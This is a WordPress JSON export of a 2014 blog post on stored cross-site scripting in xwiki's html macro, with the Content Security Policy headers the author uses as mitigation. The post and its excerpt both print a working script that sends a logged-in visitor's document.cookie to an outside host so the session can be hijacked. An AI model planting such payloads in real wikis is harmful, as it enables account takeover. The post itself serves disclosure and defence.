{"id":2383,"date":"2014-11-01T17:43:07","date_gmt":"2014-11-01T16:43:07","guid":{"rendered":"http:\/\/kudzia.eu\/b\/?p=2383"},"modified":"2014-11-03T09:04:07","modified_gmt":"2014-11-03T08:04:07","slug":"xwiki-html-macro-tag-and-unwanted-javascript","status":"publish","type":"post","link":"https:\/\/kudzia.eu\/b\/2014\/11\/xwiki-html-macro-tag-and-unwanted-javascript\/","title":{"rendered":"xwiki, html macro tag and unwanted javascript"},"content":{"rendered":"<p><a href=\"http:\/\/www.xwiki.org\/\">xwiki<\/a> &#8211; by default &#8211; allows contributors to embed arbitrary html, including javascript. it does not take much effort to include something like:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n{{html}}\r\n&lt;script&gt;\r\ndocument.write(&quot;&lt;img src='https:\/\/kudzia.eu\/?&quot;+document.cookie+&quot;&amp;&quot;+ (new Date().getTime())+&quot;' \/&gt;&quot;);\r\n&lt;\/script&gt;\r\n{{\/html}}\r\n<\/pre>\n<p>then you just need to lure your victim into visiting given wiki page while being logged &#8211; you&#8217;ll get a http request containing that person&#8217;s cookie that can be re-used to impersonate her or him.<\/p>\n<p>it seems that <a href=\"http:\/\/lists.xwiki.org\/pipermail\/users\/2009-June\/012226.html\">disabling the html macro is not a good idea<\/a>. <a href=\"http:\/\/en.wikipedia.org\/wiki\/Content_Security_Policy\">Content Security Policy<\/a> is the best bandied that i&#8217;ve found. i&#8217;ve modified the definition of reverse proxy i&#8217;m using in front of xwiki to include:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nHeader set Content-Security-Policy  &quot;default-src 'unsafe-inline' 'unsafe-eval' 'self' some.server.with.trusted.content &quot;\r\nHeader set X-Content-Security-Policy  &quot;sandbox default-src 'unsafe-inline' 'unsafe-eval' 'self' some.server.with.trusted.content &quot;\r\nHeader set X-Webkit-CSP &quot;default-src 'unsafe-inline' 'unsafe-eval' 'self' some.server.with.trusted.content &quot;\r\n<\/pre>\n<p>and i feel somewhat better about myself &#8211; i can still use iframes showing content from some.server.with.trusted.content, injected javascript still works but it fails to communicate with not-trusted hosts. it probably can still be exploited but that&#8217;s better than nothing.<\/p>\n<p>unfortunately this change makes <a href=\"http:\/\/extensions.xwiki.org\/xwiki\/bin\/view\/Extension\/Livetable+Macro\">LiveTables<\/a> unusable under IE.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>xwiki &#8211; by default &#8211; allows contributors to embed arbitrary html, including javascript. it does not take much effort to include something like: {{html}} &lt;script&gt; document.write(&quot;&lt;img src=&#8217;https:\/\/kudzia.eu\/?&quot;+document.cookie+&quot;&amp;&quot;+ (new Date().getTime())+&quot;&#8217; \/&gt;&quot;); &lt;\/script&gt; {{\/html}} then you just need to lure your victim into visiting given wiki page while being logged &#8211; you&#8217;ll get a http request containing [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,51],"tags":[86],"class_list":["post-2383","post","type-post","status-publish","format-standard","hentry","category-tech","category-unimportant","tag-xwiki"],"_links":{"self":[{"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/posts\/2383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/comments?post=2383"}],"version-history":[{"count":5,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/posts\/2383\/revisions"}],"predecessor-version":[{"id":2388,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/posts\/2383\/revisions\/2388"}],"wp:attachment":[{"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/media?parent=2383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/categories?post=2383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kudzia.eu\/b\/wp-json\/wp\/v2\/tags?post=2383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}